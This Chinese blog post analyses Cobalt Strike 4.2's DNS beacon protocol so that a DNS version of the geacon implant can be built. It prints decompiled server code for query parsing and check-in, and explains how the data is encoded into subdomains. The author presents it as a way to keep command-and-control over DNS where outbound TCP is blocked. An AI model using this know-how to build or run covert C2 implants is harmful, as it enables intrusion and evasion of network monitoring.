行业新闻

从零开始开发CS beacon(四)——DNSBeacon

从零开始开发CS beacon(四)——DNSBeacon

 

0x00 前言

​ 前面我们已经实现了geacon针对不同profile的实现与功能优化,但是在实战里面,碰到很多不出tcp网的情况,所以以DNS上线也变得比较常见和重要了,特别在LINUX系统下,可能很多人用dnscat等工具,但由于不能与CS联动,觉得使用困难,并且crossc2项目也是没有实现DNSbeacon,所以本文以CS4.2为例子,了解dns beacon通信过程,实现dns版geacon。

 

0x01 通信协议分析

​ CS DNS通信协议都在beacon目录的beaconDNS.class文件,我们来一步一步分析此过程:

​ 首先通过wireshark抓包,看看DNS通信情况

​ 可以看到有post,api等前缀的DNS请求记录,在源代码中可以看见,这里我都以aaa.bbb.dns.domain.com此域名作为演示:

  public DNSServer.Response respond_nosync(String paramString, int paramInt) {
    StringStack stringStack = new StringStack(paramString.toLowerCase(), ".");
    if (stringStack.isEmpty())
      return this.idlemsg; 
    String str = stringStack.shift();
    if (str.length() == 3 && "stage".equals(stringStack.peekFirst()))
      return serveStage(str); 
    if ("cdn".equals(str) || "api".equals(str) || "www6".equals(str)) {
      stringStack = new StringStack(paramString.toLowerCase(), ".");
      String str1 = stringStack.shift();
      String str2 = stringStack.shift();
      str = CommonUtils.toNumberFromHex(stringStack.shift(), 0) + "";
      if (this.cache.contains(str, str2))
        return this.cache.get(str, str2); 
      SendConversation sendConversation = null;
      if ("cdn".equals(str1)) {
        sendConversation = this.conversations.getSendConversationA(str, str1, str2);
      } else if ("api".equals(str1)) {
        sendConversation = this.conversations.getSendConversationTXT(str, str1, str2);
      } else if ("www6".equals(str1)) {
        sendConversation = this.conversations.getSendConversationAAAA(str, str1, str2);
      }
  • stringStack 通过点号分割
  • 1-if: 判断stringStack是否为空
  • 2-if:会判断aaa的长度是不是等于3,bbb的值是不是等于stage,在payload是Stager情况下,继续下载下一阶段shellcode(只有在host_stage为true时,dns_stager_prepend与dns_stager_subhost配置才有效)
  • 3-if:如果是以cdn,api,www6情况下开头的字符串进入下一步判断
  • 满足上述条件后,stringStack = new StringStack(paramString.toLowerCase(), “.”); 重新获取字符串进行分割
  • 4-if:分割后,获取前三个字符串,判断第三个字符串包含第二个字符串,则获取记录。
  • 5-if:如果以cdn开头,就进入getSendConversationA(),就是请求A记录解析
  • 6-if:如果以api开头,就进入getSendConversationTXT(),就是请求TXT记录解析
  • 7-if:如果以www6开头,就进入getSendConversationAAAA(),就是请求AAAA记录解析

通过这里就可以知道上面抓取流量包的意义了,继续分析下面代码:

 if (!sendConversation.started() && paramInt == 16) {
        response = DNSServer.TXT(new byte[0]);
      } else if (!sendConversation.started()) {
        byte[] arrayOfByte = this.controller.dump(str, 72000, 1048576);
        if (arrayOfByte.length > 0) {
          arrayOfByte = this.controller.getSymmetricCrypto().encrypt(str, arrayOfByte);
          response = sendConversation.start(arrayOfByte);
        } else if (paramInt == 28 && "www6".equals(str1)) {
          response = DNSServer.AAAA(new byte[16]);
        } else {
          response = DNSServer.A(0L);
        } 
      } else {
        response = sendConversation.next();
      } 
      if (sendConversation.isComplete())
        this.conversations.removeConversation(str, str1, str2); 
      this.cache.add(str, str2, response);
      return response;
    }

这里就是实现了一个基本DNS功能,对不同记录查询实现应答和缓存。

 

0x02 主要处理流程

if ("www".equals(str) || "post".equals(str)) {
      String str2 = "";
      String str4 = stringStack.shift();
      char c = str4.charAt(0);
      stringStack = new StringStack(paramString.toLowerCase(), ".");
      String str3 = stringStack.shift();
      if (c == '1') {
        String str5 = stringStack.shift().substring(1);
        str2 = str5;
      } else if (c == '2') {
        String str5 = stringStack.shift().substring(1);
        String str6 = stringStack.shift();
        str2 = str5 + str6;
      } else if (c == '3') {
        String str5 = stringStack.shift().substring(1);
        String str6 = stringStack.shift();
        String str7 = stringStack.shift();
        str2 = str5 + str6 + str7;
      } else if (c == '4') {
        String str5 = stringStack.shift().substring(1);
        String str6 = stringStack.shift();
        String str7 = stringStack.shift();
        String str8 = stringStack.shift();
        str2 = str5 + str6 + str7 + str8;
      } 
      String str1 = stringStack.shift();
      str = CommonUtils.toNumberFromHex(stringStack.shift(), 0) + "";
      if (this.cache.contains(str, str1))
        return this.cache.get(str, str1); 
      RecvConversation recvConversation = this.conversations.getRecvConversation(str, str3, str1);
      recvConversation.next(str2);
      if (recvConversation.isComplete()) {
        this.conversations.removeConversation(str, str3, str1);
        try {
          byte[] arrayOfByte = recvConversation.result();
          if (arrayOfByte.length == 0) {
            CommonUtils.print_warn("Treated DNS request " + paramString + " (" + paramInt + ") as a non-C2 message");
          } else if ("www".equals(str3)) {
            this.controller.process_beacon_metadata(this.listener, "", arrayOfByte);
          } else if ("post".equals(str3)) {
            this.controller.process_beacon_callback(str, arrayOfByte);
          } 
        } catch (Exception exception) {
          MudgeSanity.logException("Corrupted DNS transaction? " + paramString + ", type: " + paramInt, exception, false);
        } 
      } 
      this.cache.add(str, str1, this.idlemsg);
      return this.idlemsg;
    } 
    if (this.stager_subhost != null && paramString.length() > 4 && paramString.toLowerCase().substring(3).startsWith(this.stager_subhost))
      return serveStage(paramString.substring(0, 3)); 
    if (CommonUtils.isHexNumber(str) && CommonUtils.isDNSBeacon(str)) {
      str = CommonUtils.toNumberFromHex(str, 0) + "";
      this.cache.purge();
      this.conversations.purge();
      this.controller.getCheckinListener().update(str, System.currentTimeMillis(), null, false);
      return this.controller.isCheckinRequired(str) ? DNSServer.A(this.controller.checkinMask(str, this.idlemask)) : this.idlemsg;
    } 
    CommonUtils.print_info("DNS: ignoring " + paramString);
    return this.idlemsg;
  }

这里我还是以一个流程图表示:

例如post.3ffaebe446b4c94719706c6720b1f18622cf8d9ed213058be2b642899.91db6ba3d82a4f60ee471c38858a22aecd3c64e517eaf311d7bec439.a41b34adce38be69148fa99999c68e2b221619567514ea017f8fe413.17457222e.5ff222fa.dns.domain.com,可以得到变量对应值如下:

  • str5=ffaebe446b4c94719706c6720b12286f1cf8d9ed213058be2b642899
  • str6=91db6ba3d82a4f60ee471c38858a22aecd3c64e517eaf311d7bec439
  • str7=a41b34adce38be69148fa99999c68e2b221619567514ea017f8fe413
  • str2=str5+str6+str7
  • str3=post
  • str1=17457222e
  • str=5ff222fa

DNS记录开头对应的含义与上线顺序如下,都会先以A记录的方式把metadata传输到服务端,才能切换到DNS TXT模式:

  1. 4fbffdfe 以这样16进制开头,表示task id,会用于上线和后续传输
  2. www开头表示metadata信息使用A记录传输
  3. api开头表示切换为TXT传输
  4. cdn开头表示为A记录传输
  5. www6开头表示为AAAA记录传输
  6. post开头表示执行对应指令,参考上面示例解析

 

0x03 生成一个上线的demo

在beacondns.class中下面代码就是用于第一次上线,因为dns server会丢弃掉非CS beacon的查询,所以要做如下判断:

if (CommonUtils.isHexNumber(str) && CommonUtils.isDNSBeacon(str)) {
str = CommonUtils.toNumberFromHex(str, 0) + "";
this.cache.purge();
this.conversations.purge();
this.controller.getCheckinListener().update(str, System.currentTimeMillis(), null, false);
return this.controller.isCheckinRequired(str) ? DNSServer.A(this.controller.checkinMask(str, this.idlemask)) : this.idlemsg;
}

isDNSBeacon:

public static boolean isDNSBeacon(String paramString) {
    long l = toNumberFromHex(paramString, 0);
    return (l > 0L && (l & 0x4B2L) == 1202L);
}

public static int toNumberFromHex(String paramString, int paramInt) {
  try {
  return Integer.parseInt(paramString, 16);
  } catch (Exception exception) {
  return paramInt;
  } 
}

这里用golang实现此功能就行,效果如下:

最终通过模仿通信的方式,传输几段A记录,就可以上线如下:

 

0x04 总结

​ 本文主要通过阅读CS 源代码流程,了解处理逻辑,在通过wireshark抓包,使用客户端模拟通信DNS请求。主要实现了meta原信息的传输,命令获取,传输执行结果,基本只要对geacon的各个http请求换成DNS 笛卡儿积的请求,因为功能性的函数基本与Geacon一样,这里主要处理DNS延迟与丢包等问题。所以在客户端实现时,可以优化整个传输的过程,提高效率。

 

0x05参考

探测CS的DNS beacon服务器:https://paper.seebug.org/1568/#01-stager
dns 重定向:https://f44z.com/posts/cobalt-strike-opsec-dns

关闭